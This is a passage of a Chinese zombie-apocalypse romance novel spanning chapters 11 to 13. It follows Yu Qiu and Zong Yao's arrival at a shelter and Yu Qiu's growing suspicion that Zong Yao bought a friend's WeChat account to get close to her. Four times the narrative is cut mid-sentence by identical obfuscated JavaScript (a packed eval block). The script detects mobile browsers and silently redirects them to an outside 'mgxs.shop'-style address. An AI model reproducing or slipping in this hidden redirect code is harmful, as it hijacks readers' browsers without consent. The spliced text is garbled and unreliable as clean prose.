原来是他们后面的那辆车起步不及时,被左侧车道的人加了塞,一步慢步步慢,焦虑的驾驶者们此时可不会讲什么文明礼让,左侧车流不断汇入,那辆起步不及时的车被迫停在原地,疯狂的按着喇叭,希望有人能让让自己。 前方车祸发生的位置已经乱作一团,货车大概是撞坏了哪里,一时间启动不了了,车主急得骂娘,却不敢下车检查,因为远处的丧尸已经跑到近前,正在扒拉冒着烟的轿车,里头新鲜的血肉味道让它垂涎欲滴。 被丧尸锁定的轿车里面无声无息,现场的每个人都知道那意味着什么。 最后撞上轿车的那辆车损毁不算严重,正在向后倒车企图汇入其它车流,但是后面的车辆没有相让的意思,导致他只能尴尬地卡在事故轿车屁股后。 而身后,坠在后面的七八辆车不断按着喇叭催促,不时还有骂声传来。 驾驶员探出头去想解释两句,却发现后方路边的非机动车道上居然出现了成批的丧尸。 “快让让!丧尸来了!”驾驶员高声喊着。 人群顿时沸腾起来。 “丧尸,好多丧尸过来了!” “别插队!” “让我先走,让我先走啊!!” 失去交通规则的十字路口顿时陷入一片混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343030|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱。 飞驰的车子很快远离了那个路口,余秋虽然没有看到最后的画面,却也知道情况不容乐观。 那个路口南北两侧各有一个小区,如果一堆人堵在那里,小区里的丧尸会不会闻风而动? 不过......应该不会出太大的乱子吧? 毕竟大家都在车里,只要车流能再次移动起来,丧尸的两条腿如何追的过四个轮子? 又行驶了十分钟,车速慢了下来。 避难所附近果然堵车了。 余秋刚到章城上学的时候,这一片还属于城郊,路两边比较荒凉,稀稀拉拉地坐落着几间自建房。 如今几年过去,荒凉的土地飞速开发,两侧高楼林立,建筑崭新,看起来已大不相同。 科技的力量早已能做到平地起高楼,可以想象未来这里将会是多么繁华...... 可惜一场大雾扰乱了人类社会的秩序,或许在未来很长一段时间内,在人类彻底清除丧尸收回城市之前,昔日繁华都暂时看不到了。 这附近并没有看到丧尸的踪影,许多人在车上等的焦急,慢慢地,有不少人下车活动,与周围的人攀谈交流。 为了省油,大家都选择不开空调。 一路下来车内冰冷的空气渐渐变的温暖浑浊,余秋鼻尖总是嗅到宗爻的味道,像是淡了数倍的,山间庙观里终年的香烟。 缥缈但如影随形,不难闻,带着一丝温暖,又似乎隐藏着一些肃杀之气。 每次靠近宗爻时她都能闻到淡淡的味道,因为不像今天这么浓,所以一直没有注意到,直到现在才反应过来。 什么时候了,他居然还喷香水? 余秋打开一条窗缝,让车外的空气倒灌进来,冲散了那让她昏昏欲睡的气味,也带来嘈杂热闹的人声。 有人在讨论前面的情况。 “拐个弯就到了,怎么就这么堵在这儿了!” “啥呀!难道避难所让你随便进?肯定是有检查嘛!” “是哩,平时坐个地铁都要过安检,现在满地都是那个丧尸病毒,要是不检查,有人把病毒带进避难所怎么办哟!” “不会查身份证吧?我出来的急,忘记带了怎么办?!” “哎呦小伙子不要慌,现在那个电脑啊那个什么网啊多厉害,你一报身份证号,肯定就给你查出来了嘛!” 余秋听着那小伙子的声音不对,扭着头看过去,发现最后说话的这位老奶奶口中的小伙子,看着得有五十多了,又看这位奶奶,高度问题,只能看到半个雪白的脑袋。 “......”行吧,您头发都白了,谁在您面前都是小伙子。 见她往窗外看,宗爻问她:“坐累了?要不要下车走走。” 余秋摇头:“不累。” 其实是人太多了,她在人群中容易心慌。 她弯腰去拿放在脚边的保温杯准备喝口水,刚弯下去就听见身上不知道哪处的骨头‘咔巴’一响。 余秋有点尴尬。 她有这么虚吗?才坐半个小时的车,身上骨头就僵了? 无视宗爻勾起的唇角,她假装淡定地倒了小半杯水在保温杯盖里,小口啜饮着。 脸上面无表情,余秋的内心却有些忧虑。 就她这下个楼梯就气喘吁吁,坐上一会儿就骨头乱响,冬天怕冷夏天怕热的身子骨,在丧尸电影里能活过十分钟么? 如果没有宗爻,会不会末世第一天她就被丧尸啃了个干净? 有些东西不能细想,余秋及时刹住了发散的思维。 11. 第 11 章 车流缓缓前进,半个多小时后,余秋终于能看见避难所的关卡了。 也是在这时,她通过后面追上来那批人的交谈,得知十字路口处已经被丧尸群占领了。 有人步行穿过车流去关卡前说了些什么,很快,等到余秋等人随着队伍来到最前方时,看到有一队身穿战术服,头戴防爆头盔,身上挂着突击步枪的特警,骑着通体黑色的警用摩托车,朝着他们来时的方向开去。 那个十字路口是从市区到达章南避难所的必经路,特警们应该是去疏通道路了。 “好帅啊。”车外有人感叹道。 “是啊。”另一个声音与有荣焉地说:“这样的特警,我们章城足足有五百名!” “他们变成丧尸的话,应该也会比普通丧尸厉害吧?” “瞎说什么呢!” “对啊对啊,别乱说话,人家是在保护我们的安全啊,听到这话该有多伤心!” “嗐,我就是随口讨论一下,我错了行吧......” 在四周的嘈杂声里,余秋一行人出示身份证,总算通过了避难所第一道大门。 说是大门,其实是由拒马护栏搭起的路障,堵在一条由南向北的街道尽头,中间开了一条只能容两辆轿车并行的通道。 通道两侧各有一间彩钢活动板房,里面的工作人员负责检验证件。 板房外面有几名带着帽子袖章的工作人员维持秩序,板房两侧则各站一名端着枪的特警,两边的拒马护栏后,更是三步一岗。 一共七八名特警身姿板正,表情严肃,目光梭巡四周,给了还没进入避难所的人们极大的安全感。 门后面,长长的街道两侧分布着同一个开发商同步施工建造的五个小区,按顺序分别名为章荣阁一到五号。 这五个小区,从小型公寓到邻水别墅应有尽有,涵盖了几乎所有房型,不难看出开发商当时的野心。 可惜的是,遇到这场人类大劫,不知道开发商如今还健在否? 宽阔平整的街道两旁全都是整齐划一的商铺,有些甚至已经开始装修,然而没有等到开业,末世就来了。 这一年已经过了一大半,也不知道来年,还有没有机会看到这些店铺开业了。 自诩内心冷漠的余秋,看到这样的场景,不知为何也会感到一阵难以言说的心酸。 大概事关全体人类的命运,任何人都做不到无动于衷吧。 车子跟随长长的队伍缓缓挪动着,来到了五十米外的第二道门前,这里同样有持枪的黑衣特警。 他们在第二道门前进行了简单的体检,主要检查有没有疑似丧尸抓咬的伤口。 通过这几天观察下来,被丧尸咬过的人会在十分钟内转化成丧尸,而被丧尸抓到,短期内似乎没有丧尸化的征兆,但仍要格外注意。 这毕竟是避难所,为了大家的安全,避难所官方再小心也不为过,所以大家都很配合。 之后的第三道门,则是小区的大门。 他们的车被引导着开向街道深处,停在了章荣二阁外。 路上余秋看到章荣阁三四五号小区门口都空荡荡的,没什么人,所有进入后的车辆都被直接引到一或二号小区处。 看来住所是按到达小区的顺序分配的,估计等一二号小区住满,才会开放后面的小区。 第三道门是专门检查人们的行李物资的,虽然可能性很小,但万一有人反社会,携带了危险物品进入避难所,趁机制造混乱呢? 所以行李也要仔细检查。 这道门前也是最热闹的,行李毕竟是很私人的东西,被摊开来在众目睽睽之下一一检查,很多人都有些接受不了,频频与检查人员生出摩擦。 这道门前同样立着四名端着自动步枪严阵以待的特警,每当人群因矛盾发生剧烈的骚乱时,他们迅速锁定目标的枪口产生了极大的震慑,将冲突消弭于无形。 特殊时期,官方态度强硬是好事。 光厦公寓的一行人积极配合检查,终于在中午12点前进入了章荣二阁小区的地下停车场。 停车场都快满了,找空位找了半天。 好不容易找到位子停好车,宗爻拔掉充满电的手机,对余秋说:“外面人太多,很挤。你把证件给我,我先过去排队登记,如果不能代办,需要本人到场的话,我再给你发消息。” 余秋拿出身份证给他。 等宗爻关上车门大步流星地走了,她再次降下自己这一侧的车窗,把头凑到窗边狠狠吸了一口气。 地下车库阴凉的空气透过大敞的车窗灌入,卷走车内宗爻的味道,余秋深呼吸几口,混乱的心跳渐渐平复下来。 不知道宗爻身上的味道有什么神奇的力量,闻久了总会令她心跳失序。 余秋抬头循着他的离开的方向望去。 宗爻在人群中十分显眼。 不止是身高外貌,他的气质也十分出众。 哪怕是一个背影——在周围无着无落的仓惶身影中,他的背影都透露出一股独特的,仿佛不属于此间的沉静感。 他做什么都是忙中有序,不慌不乱的,好像这世界上所有动荡都不算出乎他的意料,发展尽在他掌握一般从容。 余秋探寻的目光略过停车场拥挤的人群,在流向出口的数百人中一眼锁定了目标,过远的距离和昏暗的光线,让她没有看到宗爻身体一瞬间微妙的僵硬。 片刻后,宗爻的身影消失于人群中,余秋也收回了目光。 她坐在副驾驶抠了会儿手机,右侧一辆车外传来一道兴高采烈的男声,和家人说着:“我问了,电梯还没投入使用,咱们分到五楼还好,有些人分到十几楼,每天爬楼都要累死!” 一句话把余秋说的犯起愁来,又想起出发前从十六层爬下来的恐惧,她应该不会这么倒霉吧? 静音的手机‘嗡’一下震动,微信收到一条消息,手机上方宗爻的头像跳出来。 余秋点开,看到宗爻说:张管家的意思是大家一起排队,大概率会被分到同一栋楼,可以互相照应。 寒江:你的想法呢,要不要跟他们一起? 余秋无可无不可地回了个‘OK’的表情,地下车库信号不好,表情转了半天没发出去,她只好又手动打出“可以”两个字,点击发送。 对面了然,回道:我问过了,每户出一个人,带着家人或者希望住在一起的亲友身份证明就可以办理,根据人口分配房型。 寒江:我可能要跟他们说你是我女朋友,才能把我们分在一起。 余秋:...... 寒江:人很多,估计要排很久,你饿了就先吃点零食。 余秋:知道了。 在余秋看不到的地方,小区登记处外,有人正在和排在同一队伍中的宗爻搭话。 “你好,宗先生。” 宗爻刚才发消息时眼中还带着笑意,此时却收起手机,只冷淡地看了她一眼。 面前的人似乎没想到他是这样的态度,略微愣了一下后才说:“我是余小姐的邻居,住在走廊对面的1608,我姓李.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343031|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..” 她的自我介绍还没说完,便被打断。 宗爻问:“有事?” “呃、有,有的。” 察觉他的不耐烦,李玉娇连忙说:“刚才从停车场出来时我听到有人说,这个小区都是面积相同的小两居,你和余小姐只有两个人,肯定会被分配别的室友,我是想说,与其和陌生人住在一起,不如我们这些本就认识的共同申请......” 宗爻再次打断她:“没兴趣,你找别人吧。” 李玉娇没想到他这么无情,连听她把话说完的基本礼貌都没有,这下她彻底愣住了。 其实那天早上宗爻来到小区时她就看到了,透过猫眼看到这个男人接连杀死两个变成丧尸的成年男人,那么轻松,毫不费力。 当时的她觉得恐惧,可是几天下来,随着对丧尸的了解,她转变了想法,这种强大的武力值不再可怕,反而让人向往。 如果不是他主动清除了16层的丧尸,让自己不用一出门就遭遇危险,前两天自己也不敢跟随小区的队伍出门去找物资。 更别说她还从16层的几户人家中找到了不少好东西...... 不管怎么说,自己也算是男人高武力值下的受惠者。 更何况,这些天来他把1603的女人保护的那么好,让她待在安全的房间里,不用出门寻找物资,不用直面可怖的丧尸,甚至在他们准备逃亡之时,她也不用帮忙搬行李。 那么多东西,当自己带着孩子,提前一个小时艰难地上楼下楼搬运时,她只要等在房间里,任由男人一趟一趟不知疲倦般的爬楼。 多幸运啊,能有一个强大又可靠的男人依靠。 不像自己......想到这里,被拒绝的李玉娇决定再争取一下,如果能受到男人的庇护,她和孩子肯定能更加安全。 但这个男人态度冰冷,李玉娇决定换一种方法。 她不动声色地拉了拉七岁的女儿。 小小的女孩儿很懂得察言观色,她一直注意着母亲和这个叔叔的谈话,收到母亲的信号,她上前一步,抬起头来小心翼翼地看着宗爻,按照在路上时母亲教给她的说辞:“叔叔,我和弟弟会很乖的,一定不会吵到你和那个大姐姐,我还会干活,会扫地还会煮面......” 小女孩细声细气地数着自己能干的活计,宗爻的眼神从她稚嫩但格外懂事的脸上,转到了李玉娇身上。 他原本只是淡漠的眼神变得格外冰凉,冷声道:“这位女士,我认为你不该教孩子这样说话。” 小女孩吓了一跳,颤颤巍巍地住了嘴。 李玉娇面露愕然,她没想到男人会这么直接的戳破她。 她不明白为什么,自己又没有提出很无礼的要求,只是拼个房而已,值得他这样严词拒绝吗? 而宗爻早已转过身去,随着队伍向前移动而移动脚步。 被狠狠落了面子的李玉娇瞪了女儿一眼,牵着六岁儿子的手跟上前去。 没有再多给她一个眼神的宗爻,心中已然了然。 怪不得从地下车库开始,这个女人就总是跟在他身后,原来是存着这样的心思。 他忽然想起来什么,拿出手机,在搜索框里打下‘舔包’两个字。 搜索页面转了一会儿,跳出来几行字。 ‘舔包,指游戏玩家击败敌人后,从其掉落的装备箱中获取物资的行为。’ 宗爻呼吸一顿,想起了早上在小区车库时,余秋的反应。 不小心露馅了啊...... 12. 第 12 章 余秋“呼哧呼哧”喘着气。 他们运气不太好,居然真被分配到了高楼层。 上楼比下楼更累,爬上13楼,几乎要了余秋半条命。 一进门她便狼狈地靠在墙上,等好不容易喘匀了气,才拿出保温杯给自己倒水喝。 反观宗爻,却仿佛丝毫不受影响一般,已经迅速在屋子里转了一圈,随后打开其中一扇房门,开始放置东西。 通风不足的新房子还残留一丝墙漆的味道,对嗅觉灵敏的人来说很不友好。 宗爻收拾东西的时候,余秋拖着酸涩的腿打开了客厅阳台的窗户通风。 光厦小区里的这些人果然分到了同一栋,和余秋两人一起被分到1301的,是同行的一个年轻男人,因为准备一趟拿完所有的行李,走得有些慢,落在了后面。 大门没关严,余秋看到她原来的邻居,那个单亲妈妈带着两个孩子从楼梯间里出来,打开了隔壁1302的门。 进门前她似乎回头看了一眼,隔着门缝,余秋也不知道她看到自己没有。 放置好东西的宗爻从空间更大的那间主卧里走出来,对余秋说:“车里还有很多东西,我再下去一趟。” 余秋抿了抿唇,提醒:“捡要紧的搬,不太重要的就先放在后备箱吧。” 爬上爬下实在辛苦,今天一大早起来,到现在两人还没正经吃顿饭,他一个人体力再好,总会累的。 倒不是关心他,而是两个人的事情交给他一个人来做,余秋再不爱说话,一两句客气话总要说的。 宗爻对着她笑了一下,“知道了。” 他开门出去,在楼梯上遇见和他们同屋的年轻男人。 那人脚边放了一堆行李,正累得扶着扶手大喘气。 即便如此,见到宗爻他还是扬起笑脸,喊了一声:“大佬好!” 宗爻冲他点点头,擦身而过时又停下来,说了一句:“我女朋友一个人在楼上,麻烦你照看一下。” “放心吧大佬!” 这个名叫郑功的年轻人态度热情,看他的眼神像在看偶像:“你女朋友就是我女、呃,我大嫂,我肯定会帮你照顾好她的!” 这话听着怪怪的,但宗爻确实从他身上感受不到恶意,便没有在意。 楼上余秋还在慢悠悠地查看自己的新住所。 她从阳台晃到洗手间,又从洗手间晃到主卧。 简装房里空荡荡的,除了洗手间的马桶和盥洗池外,只有卧室里面的床算做一件家具,其它什么都没有。 刚搬上来的行李放在光秃秃的床板上面,余秋把自己的背包也搁了上去。 地上落了一层灰,本打算找个扫帚扫一扫,又想起来谁逃难会带扫帚啊,她莫名笑了一下。 门口传来声音,余秋走出主卧,看到一个不算很面生的年轻男人拖着行李走进来。 除了一个大号行李箱,他还带了好几个背包和手提包,随着走动,包里面哗哗直响,听起来像是带塑料包装的食物。 进来后遇到的每一个人都是这样大包小包的,只能说国人在逃难这方面确实很有经验,大部分人都很明白食物的重要性,没有几个拎不清的。 见到余秋,刚进门的年轻男人顿时露出笑容,热情满满地喊了一声:“大嫂!” 什么玩意儿?余秋一愣。 年轻男人已经开始了自我介绍:“大嫂你好,我叫郑功,原来住在2栋611号,我经常在公寓群里发言的,你应该有印象吧?” 余秋想了一下,果然觉得这个数字有点熟悉。 “你好。”她说:“麻烦不要这样称呼我,我叫余秋。” “噢噢好的秋姐!”郑功反应非常快。 这人虽然有点自来熟,但并不惹人讨厌。 加上一张娃娃脸看起来很是讨喜,余秋点点头,问他:“需要我帮忙吗?” “不用不用,谢谢秋姐,我一个大男人哪儿用得着女人帮忙。”他说着,自觉搬着东西进了次卧。 余秋也回房间打算收拾东西。 她不擅长做家务,原来的房子有衣柜和各种收纳空间,她只要把东西分门别类地放进去就好了。 可这里没有家具,她想收拾,又有些无从下手,只好呆呆地站着。 宗爻进来时看到的就是她这副模样。 好似在发呆,又好似为难。 “怎么了?”他问。 “没有家具。”余秋道。 随即反应过来这话像是在抱怨,又补充一句:“不知道东西该放在哪儿。” 宗爻目视一圈:“是有些简陋。” 这间主卧大约25平米,不算大,但除了一张一米八的床以外没有任何东西,倒显得空旷。 他对余秋说:“没事,我下午去外面找一找,慢慢添置。” “下午不休息吗?”余秋问。 像她这样的低精力人,这一上午发生的事就足够她耗光一天的精力了。 “你休息,我还有些事要做。” 宗爻说着话,人已经开始了动作。 洗手间有供水,他出去打湿抹布,回来后就十分自然地蹲在地上擦起了瓷砖。 怕自己碍事,余秋自觉站到了卧室门口,就这样看着他干活。 她看他手里的那块抹布有些眼熟。 这不是她家的吗? 原来就放在洗手间里,什么时候被他带来了? 什么人逃难时会连一块抹布都不放过,这对吗? 宗爻蹲着擦了两遍地,把瓷砖擦得光可鉴人。 随后又换了一块新抹布,把行李挪到擦干净的地板上后,擦拭起了床板。 余秋看那块新抹布也眼熟,似乎是她买来没拆封的。 这时她不由怀疑,家里那些她自己都不记得的东西,不会都被他给带来了吧? 床上没有床垫,宗爻往床板上铺了一层被子,又铺上床单。 被子和床单也是她的,这倒没什么,不过当余秋看到他从包袱最里面拿出她的枕头...... 她终于忍不住开口:“枕头是什么时候拿的?” 宗爻:“早上你刷牙的时候。” 余秋:“......” 三下五除二铺好了床,宗爻问她:“饿不饿?” 饿,但厨房里面什么都没有,余秋就想看看宗·哆啦A梦·爻到底能做到什么程度,于是点头,说道:“但不想吃零食。” 余秋刚进来就按过灯的开关,确定这里是不供电的。 没有电也没有天然气,就看他怎么做饭了。 宗爻也不是万能的,听她说不想吃零食,只好用保温杯里的热水给她泡了一盒面。 和昨晚一样,加了肠和卤蛋。 泡面偶尔吃一次觉得挺香,但经常吃就不是那么美妙了。 余秋知道现在自己没有挑剔的资格,但她还是皱起眉头表示了嫌弃。 并用余光观察着宗爻的表情。 宗爻却没给出她想象中的反应,反而很好脾气地说:“忍一忍,晚上就不用吃这个了。” 隔壁的郑功出来看到余秋在吃面,回屋拿了一袋泡椒鸡爪过来。 余秋不肯要,现在不像以前,没吃的下楼买或者叫跑腿,分分钟就能补充存粮。 现在一出门到处是丧尸,郑功的食物也是之前和大家一起去超市拿的,冒的是生命危险。 “哎呀姐,你甭跟我客气,那天要不是我哥拉了我一把,我早让丧尸给咬了。你说说,我的命难道还没有这袋鸡爪子贵吗?” “当然啦,我的意思可不是用这一袋鸡爪抵恩,但是哥姐真的不要和我客气,以后有什么事只管吩咐我做,不管是该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343032|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的还是不该做的,我都能做!” 这是个话痨,余秋拿这样的人最没办法,只好抬眼向宗爻求助。 宗爻接收到她的眼神,似乎是误会了她的意思,竟然接过了那袋泡椒鸡爪。 不过他打开以后,先自己吃了一口,才递给她。 像古代给皇帝试毒的忠心太监。 余秋:“......” 场面其实怪尴尬的,担心在房间吃泡面会把味道沾到被子上,余秋只能到客厅吃。 但客厅又没桌椅,她只能站着吃。 此时她一手端着泡面碗,一手的叉子里还叉着几根面,根本没有手去接。 宗爻也意识到了这种窘状,他从袋子口挤出一个鸡爪,递到她嘴边。 这样喂食太暧昧了,余秋不想张嘴。 可他的手一直不收回,旁边还有人在看着,余秋只好用嘴叼去了。 见两人都吃了,郑功总算高兴了。 他见宗爻手里没有泡面,便问:“哥你咋不吃?是不是泡面吃腻了?我那里还有拌面和自热米饭,你喜欢什么口味的,我去给你拿。” 宗爻摇头:“不用,我还要下去一趟。” 他转向余秋说:“你记得锁好门,我很快就回来。” 余秋嘴里还有鸡爪呢,只能“唔”了一声。 郑功看似热情,其实还是很有分寸的,屁颠屁颠的送走宗爻,担心余秋不自在,他回房间前对她说:“姐,我下午就在家里打扫卫生,打扫完屋里就来打扫客厅,你不用在意我,该干嘛干嘛就行。” 自己也是这里的一员,怎么好意思让别人独自打扫卫生呢? 余秋于是说,“打扫客厅的时候可以叫我,两个人一起会快一点。” “哎,姐你不用管,这么点小活我分分钟就搞定了。咱们住在一个门里,以后就是一家人了,你可千万不要和我客气。” 余秋有点应付不来他这种自来熟,只好木讷地点点头,很快吃完泡面回屋去了。 反锁好房门,她换了条宽松些的外裤,坐到了床上。 地上的东西被分为两堆,她的衣服和日用品等放在床尾,宗爻的行李和其他物资一起堆在靠墙的角落。 窗子开在进门右手边的墙上,也就是床尾的对面。 没有窗帘,不过这个方向没有同样高的建筑,视野开阔,外面就是楼体,也不用担心被人看见。 余秋坐着休息了一会,百无聊赖地拿出手机看了看。 这两天网络不好,上网的人已经很少了,微信群也沉寂下来。 她打开公司大群,几百人也不知道活下来的有几个,反正她这一路都看着车窗外,没有看到一个熟悉的人。 没记错的话,有好几个同事就住在光厦公寓附近呢。 余秋又点开通话记录,备注为“爸爸”的那个号码挂在最上面,她犹豫了一下按下拨通,还是提示她对方手机已关机。 她爸可能凶多吉少了,她又想起她妈。 她妈自从再婚后,就把她的微信给删了。 余秋是个有骨气的人,从此以后再也没有给她打过电话。 她现在连她妈在哪个城市都不知道,更别说别的了。 算来算去,如今跟她最亲密的人,只剩下这个莫名送上门的宗爻了。 鬼使神差地,余秋点开了两人之前玩的游戏。 网络不好,加上她太久没登录,光更新就更新了半天。 好在手机套餐的流量够多,经得起浪费。 等到好不容易登上去,她按照习惯一个个点去那些新增的红点。 点开消息通知时,却发现有陌生人给她发来一条消息。 发消息的人自称寒江,对她说:姐姐,出了一点事,我把微信号卖了,对不起,希望你别上当。 余秋愣住了。 13. 第 13 章 寒江把微信号卖了,买家是宗爻? 虽然一直有所怀疑,但真的确认的那一刻,余秋仍感到浑身恶寒,似乎有一盆冰水当头浇下,浇灭了她心里的侥幸。 寒江留言的时间是两个月前,结合宗爻说他买车的时间,说不准那辆车和这个微信号,都是为了她买的。 但是为什么呢? 她身上有什么值得别人挖空心思的东西吗? 余秋苦思冥想,忽然想到公司三个月前曾经要求过体检。 难道是因为那次体检? 不会是像网上传的那样,有什么大佬和自己配型成功了,派宗爻来取她的器官吧?! 可是这都末世了啊,会有这么忠心耿耿的手下,就算冒着极大的危险,也要把她(的器官)送到大佬身边吗? 但如果......如果真是这样,事情似乎就能解释通了。 所以宗爻的身手才会这么好,所以他身上才有当过兵的气质,他这样的人,能够驱使他的人地位一定不一般,所以哪怕末世了,他仍要坚持完成使命。 想到这里,余秋忽然咬紧了牙。 浑身怒火像是要溢出身体一般,她没看到,她的身体轮廓之外,隐隐出现一道淡色的虚影。 良久,冷静下来的余秋将攥紧的拳头摊开来。 她抬起右手,先是一个绿色的草尖从指尖冒了出来,随后一根细细的藤蔓顺着食指的指尖飞速生长。 藤蔓被不知名的力量控制着向前射出,打在对面的墙上留下一道淡绿色的汁液痕迹。 这一击过后,藤蔓快速枯萎回缩,任凭余秋如何用力驱使,它也不肯出来了。 “没用!”余秋低低骂了一声,站起来用手抹掉墙上的那道绿痕。 有人正在对她图谋不轨,更可怕的是,这个人就在她身边,在离她最近的地方。 余秋迫切的需要自保能力,她的体质一般,只有这个高烧昏迷后出现的特殊能力,成为她唯一的希望。 可是这个能力也很弱,拼尽全力的一击也就等于普通人软哒哒挥出一鞭的威力,远不足以杀人。 是的,杀人。 余秋无法接受被人当成猎物或血包,如果是和平年代她或许会犹豫一下,可现在末世了,觊觎别人生命的人,就该同样付出性命作为代价。 余秋打开手机摄像头照了照自己。 她的眼神从没这样冷过,但她对着摄像头练习了许多遍,终于练出了让自己满意的表情。 她谨慎的把寒江的那条消息删掉,游戏也从手机上卸载,用另一个软件填补上这个空位。 没关系,她在心里告诉自己。 宗爻是从台城来的,他的雇主很可能也在台城。 如果对方需要的是活体移植,那就只有她去台城和对方来章城两个选择。 如今交通不畅,只要她不离开这里,对方想来章城恐怕也没那么容易。 她要尽量拖久一点,才能找到机会反击。 她没有想过逃跑,一是她没有车,二是即便离开这里,外面也处处是危险,就算她运气好逃出了章城,难道宗爻就不会追吗? 他费了这么大的功夫才接近她,一定不会轻易放弃的。 万一跑到无人的地方再被抓住,那情况一定比现在还要糟。 留在这里,起码避难所里还有数百名由武警特警和其他警务部门一起组成的护卫队,宗爻再厉害,也不一定敢在避难所里对她下手。 现在最重要的是先稳住宗爻,在他对她下手前尽量提升自己的能力。 可是她这藤蔓不听话的很,虽然每次放出来都好像长长了一点,但始终细细的,而且一击过后立马枯萎回缩,根本不给她练习的机会。 余秋怀疑她的这个能力是跟丧尸病毒一起出现的。 浓雾出现的那天晚上她开始发烧,烧退之后就拥有了驱使藤蔓的力量,而且她的五感也有所提升。 除了体能还是那么弱之外,其它方面已经进步太多。 她不知道自己是不是唯一幸运的那个,也不知道这突然出现在她身体里的能力算不算一种幸运。 但没人会排斥多出来的力量,尤其她正在面临来自身边的威胁。 外面传来一点声音,不是之前郑功打扫客厅的声音,而是有人在说话。 那声音应该是在楼道里,与她所在的房间隔着两道墙,五感提升后的余秋也只能勉强辨认出其中一道声音属于宗爻,具体内容是听不清的。 她看了一眼时间,宗爻居然整整出去了三个小时。 三个小时绕着章南跑一圈都够了,他干什么去了需要那么长的时间? 余秋把手机放回口袋,开门出去。 客厅里,郑功已经给宗爻打开了门。 余秋看到宗爻身后跟了一堆人的时候,下意识头皮一紧,攥紧了拳头的右手背至身后。 好在她很快发现,那些人手里还搬着东西。 郑功帮着宗爻指挥:“桌子先放这,那个放那儿,哎哎,这个肯定放厨房啊,怎么乱放?!” 一群人呼啦啦来了又去,余秋倚墙看着,不知道宗爻又在搞哪一出。 这里的动静吸引了13楼的另外三户都出来查看,余秋隔着几米的距离与李玉娇对上视线,对方这次却没对她笑,表情淡淡的。 郑功送走了人又关上门,一转身便迫不及待地问:“宗哥,这是咋回事,你打哪儿弄来的这些家具?还有这么多人......” 宗爻说:“开车出去找的,请人帮忙搬上来而已。” 郑功不知道为啥显得很激动:“哥,这种事儿你怎么不找我啊,不说跟着你出去,起码喊我下去帮忙搬啊~!” 他说着一拍脑袋:“忘了你不在群里了,来来咱俩加个好友呗,下次有这种搬东西跑腿儿的活,你只管喊一声!” 宗爻掏出手机,但强调:“说不定很快会断网。” 郑功不是很在意:“没事啦,有一天算一天,也说不定国家要不了多久就把丧尸解决完了,我们又能回到以前的生活了呢?” 乐观是好事,宗爻没再说什么,和他加上了微信。 墙边的余秋状似不经意地瞄向宗爻的手机屏幕,发现微信界面只有两三个对话框,而她的聊天框被置顶了。 宗爻转过身,目光先是在余秋新换的裤子上看了一眼,才落在她脸上,问:“在家无不无聊?” 余秋想起手机更新游戏用掉的电量,摇头道:“不无聊,玩了会儿手机。” 郑功在一旁听着,插话道:“全城的电都断了,也不知道电路什么时候能修好,我手机只有一半电了,现在都不敢玩儿。” 余秋朝他笑笑,没说宗爻准备了好几个充电宝的事。 她指了指屋子里多出来的那些东西,目露关切地看着宗爻:“去了这么久,找这些东西不容易吧,有没有遇到丧尸?” “是啊宗哥,凑合几天得了呗,你还专门出去弄家具,外面多危险啊。”郑功说。 宗爻摇头:“还好,家居城那边人少。” 他看了看天色,说:“天黑得快,我今天不会再出门了。” “余秋,你晚上想吃什么?” 吃什么呢。 他们携带的食物不是零食就是饼干泡面,除了煮面好像也没什么能做的。 于是余秋说:“随便。” 两个人说起了日常话题,郑功识趣地没有打扰,回了自己房间。 余秋跟在宗爻身后来到厨房,看着他鼓捣刚搬上来的煤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343033|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气罐和一看就崭新的双头气灶。 厨房自带的地柜很是简陋,上面同样落了一层灰。 宗爻安好了气灶,便打湿抹布擦起了台面。 门边的地上放着几箱还带着包装的锅具厨具,一口炒锅一口汤锅,还有烧水壶、碗盘、筷子等。 余秋蹲下身慢悠悠地帮忙拆着包装,目光却落在他忙碌的背影上。 